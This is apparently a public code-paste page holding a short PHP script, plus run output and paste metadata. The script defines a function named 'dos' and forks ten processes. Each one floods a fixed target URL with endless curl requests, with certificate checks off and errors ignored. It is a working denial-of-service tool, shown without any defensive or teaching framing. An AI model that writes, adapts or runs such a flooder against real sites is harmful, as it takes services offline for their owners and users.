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  1. <?php
  2. ini_set('display_errors', 1);
  3. error_reporting(E_ALL);
  4. $url='https://c...content-available-to-author-only...t.dev';
  5. function dos($target) {
  6.     global $thread, $url;
  7.     while (true) {
  8.         try {
  9.             $ch = curl_init();
  10.             curl_setopt($ch, CURLOPT_URL, $target);
  11.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  12.             curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  13.             curl_exec($ch);
  14.             curl_close($ch);
  15.         } catch (Exception $e) {
  16.             continue;
  17.         }
  18.     }
  19. }
  20. function main() {
  21.     global $url;
  22.     for ($i = 0; $i < 10
  23.          ; $i++) {
  24.         $pid = pcntl_fork();
  25.         if ($pid == -1) {
  26.             exit(1);
  27.         } elseif ($pid) {
  28.             continue;
  29.         } else {
  30.             dos($url);
  31.             exit(0);
  32.         }
  33.     }
  34. }
  35. main();
  36. ?>
  37.  
Success #stdin #stdout 0.04s 25984KB
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https://ideone.com/DyRm9h
language:
PHP (php 7.3.5)
created:
288 days ago
visibility:
public

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